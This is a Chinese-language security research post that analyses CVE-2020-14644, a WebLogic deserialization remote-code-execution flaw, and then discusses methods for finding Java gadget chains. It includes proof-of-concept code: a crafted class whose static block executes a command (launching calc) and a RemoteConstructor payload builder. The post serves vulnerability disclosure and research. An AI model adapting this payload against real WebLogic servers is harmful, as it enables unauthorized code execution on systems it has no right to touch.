作者:kingkk
原文鏈接:https://www.kingkk.com/2020/08/CVE-2020-14644
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

前言

前段時間Weblogic出了七月份的補丁,其中比較受關注的有4個9.8評分的RCE,目前14625和14645在網上也都有了詳情,話說有個老哥一己之力包了其中三個屬實nb。

img

之前也有幾個朋友問起14644的詳情,正好一起分享下14644的利用,和之前疫情半年在家挖gadget的一些思考。

CVE-2020-14644

和2883、14645不同的是,這應該算是一條全新的gadget,并不是在原先2555的基礎上進行繞過。

這個漏洞的主角是com.tangosol.internal.util.invoke.RemoteConstructor

在它的readResolve方法中會一直調用到RemotableSupport.realize()方法

RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize
realize`方法中有兩個比較有意思的點`defineClass`和`createInstance

img

比較熟悉Java的同學到這里可以察覺到一些問題,這是一個自定義加載類并實例化的過程。

ysoserial中經典的TemplateImpl中就有類似的過程。

img

但是目前僅是函數名存在一些端倪,真要利用還得看具體的函數實現。

先來看defineClass函數

img

最后又調用了重載的defineClass,但很有意思的是這個函數IDEA跟進之后指向的是ClassLoader.defineClass

RemotableSupport的函數申明中,可以看到這個類其實是繼承了ClassLoader這個類的

img

就表示這個RemotableSupport.defineClass函數確實是可以通過二進制字節碼在內存中定義類的。

然后就是考慮這個byte數組是否可以在反序列化時被我們控制,可以看到這個數組是通過byte[] abClass = definition.getBytes()而來的。

這個屬性恰好是ClassDefinition的一個byte數組的成員變量,可以在初始化時直接傳入。

img

當然光defineClass對于漏洞觸發來說是不夠的,定義了類之后,還得加載這個類,才能觸發staic方法。(不過自己挖洞的時候其實也沒必要那么嚴謹,下面有個createInstance函數其實已經八九不離十了

當然這個方法確實也沒有辜負我們的期望,獲取了該類的構造函數,并進行實例化。

img

這里還有個需要注意的地方是defineClass的類名不像TemplateImpl中是一個任意的類名,它是根據definition的屬性而來的(應該可以反射修改?暫時沒嘗試

String sBinClassName = definition.getId().getName();
String sClassName = sBinClassName.replace('/', '.');

這里getName獲取到的類名是一個內部類,內部類的名字是根據ClassIdentity.m_sVersion而來的

img

而這個成員變量的值是初始化的時候定義的,是一串md5的哈希值

public ClassIdentity(Class<?> clazz) {
    this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"))));
}

否則,defineClass時指定的className與字節碼文件中的類對應不上的話就會拋出NoClassDefFoundError的異常。

這里以12.2.1.3版本為例(版本不同時類的哈希值也會不一樣),生成如下內部類

package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

payload的構造就比較簡單

byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"));
RemoteConstructor constructor = new RemoteConstructor(
    new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
);

return constructor;

(這里提一句,如果你生成poc時,發現報錯的類名一直在變,應該是你把你重寫的類加到了classPath中,導致覆蓋了weblogic原有的類)

最后,常規流程走一波,彈個計算器(真搞不懂你們黑客,彈個計算器直接cmd運行不好嗎

img

我提交的時候只給了12.2.1.3.0和12.2.1.4.0的POC,不知道為什么最后給出的影響范圍只有三個(雖然我確實沒測過10.3.6和14.x的

這個漏洞比較好的地方就在于他不像2555的單向鏈式執行,導致無法執行比較復雜的Java代碼,只能通過別的方式進一步利用。而這個漏洞可以直接在static代碼塊中插入想要執行的代碼,利用起來比較方便。

比較麻煩的一點在于同一個Payload無法多次執行,原因在于這個類在第一次觸發時已經被加載了。可以通過生成不同的類或者之前提到的反射(或許?)解決這個問題。

關于gadget的一些思考

gadget的鏈式性

對反序列化(不僅限于Java的反序列化,還有JSON之類的)了解過的人應該都知道,反序列化的其實是一個鏈式的調用,其實對于常規漏洞來說也是,是一條從Source到Sink的調用鏈路。

只是反序列化這里的Source比較明確,對于Java反序列化來說是readObject,對于JSON的反序列化來說是getter、setter。

但既然是一條鏈,就可以拆卸組裝,從過不同的連接方式,組裝成另一條新的鏈。

以CVE-2020-2555為例,他的觸發鏈其實如下

ObjectInputStream.readObject() ->
    BadAttributeValueExpException.readObject() ->
        LimitFilter.toString() ->
            ChainedExtractor.extract() ->
                ReflectionExtractor.extract()

當時一月份的修復方式相當于在LimitFilter.toString()這里打斷了這條鏈。

當時就感覺這種修復是一種治標不治本的修復,于是就出了2883的繞過,2883的觸發鏈大致如下

ObjectInputStream.readObject() ->
    PriorityQueue.readObject() ->
        ExtractorComparator.compare() ->
            ChainedExtractor.extract() ->
                ReflectionExtractor.extract()

可以看到,這就是典型的一個將原先的鏈進行組裝,拼接成一個新的鏈。

這樣做的好處在于可以復用原先找到的鏈,降低構造成本。事實上ysoserial中的一些鏈也是那么做的,通過將一些鏈中的一小節進行拼接,就生成了一個新的鏈。當時分析完ysoserial之后的云玩家感言也就是那么想的。

https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/#%E4%BA%91%E7%8E%A9%E5%AE%B6%E6%84%9F%E8%A8%80

這樣我們其實在找gadget時可以復用ysoserial中一些比較好用的鏈的一小節,例如

  • AnnotationInvocationHandler.readObject() -> ... -> Map.get()
  • PriorityQueue.readObject() -> ... -> Comparator.compare()
  • BadAttributeValueExpException.readObject() -> ... -> Object.toString()
  • HashSet.readObject() -> ... -> Object.hashCode()
  • HashSet.readObject() -> ... -> Map.put()
  • HashSet.readObject() -> ... -> Map.get()
  • Hashtable.readObject() -> ... -> Object.equals()

這樣在找gadget時就不一定非得從readObject函數開始,只要能找到上面的函數到Sink點的通路即可。

而且除了readObject其實還有readExternalreadResolve之類的函數有的話也可以關注。

這樣在看到2555的漏洞修復的時候,其實只要找到一個Comparator.compare()觸發了ValueExtractor.extract()函數即可,事實表示這樣的難易程度就降低了很多,也就是當時2883有蠻多師傅都挖出來了的原因。

TaintAnalysis -> CallGraph

https://github.com/JackOfMostTrades/gadgetinspector

Gadget Inspector是一款 Black Hat USA 2018 中展示的挖掘gadget的工具,聽說挖2555的作者就是借助這款自動化的工具挖出了2555(但貌似進行了一些自定義化的改動)

https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63

看過源碼的之后發現其實內部是通過一套自定義的污點分析流程,去嘗試挖掘對應的gadget,污點分析的細節和原理這里就不展開講了。

由于之前做過一些自動化代碼審計的工作,個人感覺污點分析的方式更像一個嚴謹的工程師,其中漏洞漏報主要源自于污點傳播函數(propagate)沒有定義好,導致一些污點信息沒有做對應的標記,從而導致污點跟蹤丟失,而且這些污點傳播函數的case其實比較難完全覆蓋。

由于個人挖洞的需求,其實我們的做法可以更激進一些,希望找出更多可能觸發漏洞的點,并且接受一定的誤報量,通過一定的誤報而盡可能減少漏報,并通過一部分人工的排查,從而找出漏洞。

污點分析的對象單位是一個變量,而我們可以將這個對象放大至函數,忽略具體的數據流走向,通過尋找Call Graph,尋找所有可能觸發Sink點的路徑。

這個過程其實就是尋找一個可能觸發的路徑,需要通過一定的人工排查,去確定最后是否可以觸發。但其實這樣做已經為我們排除了大量不可能的路徑。因為如果Call Graph都無法找到一條可行的路徑,那就表示這個Sink點其實是無法觸發的。(反射除外,反射目前應該是靜態代碼無法解決的一個痛點)

自動化這個過程中的一些問題

實際過程中可能還會有一些問題,還是以之前Weblogic的鏈為例子,比如觸發ReflectionExtractor.extract()時,在上一層的LimitFilter.toString()中代碼層面顯示的調用其實的是ValueExtractor.extract()

這就涉及到Java語言的一個比較基本且重要的特性——多態,這個ValueExtractor其實是要在運行時才能確定的,所以靜態代碼層面無法確定這個函數具體要調用的代碼塊。

這一點Gadget Inspector其實已經做了處理,它在一開始會將類之間的繼承和實現關系做了一個映射,在發現調用ValueExtractor.extract()時會去尋找所有其具體的實現,從而遍歷所有可能觸發的代碼塊。

在Call Graph + 類關系處理之后,找到的整個調用鏈可能會異常龐大,比如調用到了toString方法,但是重寫了toString的類其實很多,這樣就會產生一種指數爆炸的效果,可能需要一些限制類名、限制鏈的深度之類的操作,去避免過于長的鏈的查找。

其次就是可以通過從Sink->Source,Source->Sink正逆向相互結合來挖掘對應的鏈,其實對于gadget這種Source比較確定的個人比較推薦Source->Sink的尋找過程,并且根據gadget的鏈式性中提到的,將toStringhashCodecompare之類的函數也加入到Source中,減少尋找的難度。

個人感覺Java反序列化的gadget其實會比JSON的要難找一些,其實嘗試去分析JSON的gadget之后會發現整個調用鏈其實都比較淺,像常規的jndi的調用鏈通常不超過3層。而且Java反序列化需要這個過程中所有涉及到的類都繼承了Serializable接口,并且可能會遇到一些transient修飾的成員變量。

雖然Gadget Inspector中對類進行了限制,在自動化查找的時候就判斷了類是否繼承Serializable,但是感覺會有一些雖然沒有繼承Serializable,但是僅調用的是一個static函數之類的情況,導致一些可能的鏈被剔除了。所以個人更傾向于在人工排查時再去解決這些問題,只要誤報在一個可以接受的范圍內,自動化只負責找到所有可能的情況。(雖然我確實也遇到過找到了一條可以觸發的鏈,但是其中一些類沒有繼承Serializable導致無法反序列化的情況)

例如以readResolve函數為Source,RemotableSupport:defineClass為Sink,就可以找到如下的調用鏈,也是14644漏洞觸發的堆棧。

img

總結

以上就是CVE-2020-14644的漏洞詳情,以及上半年疫情呆家對gadget挖掘一些思考,歡迎感興趣的師傅一起交流學習。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1281/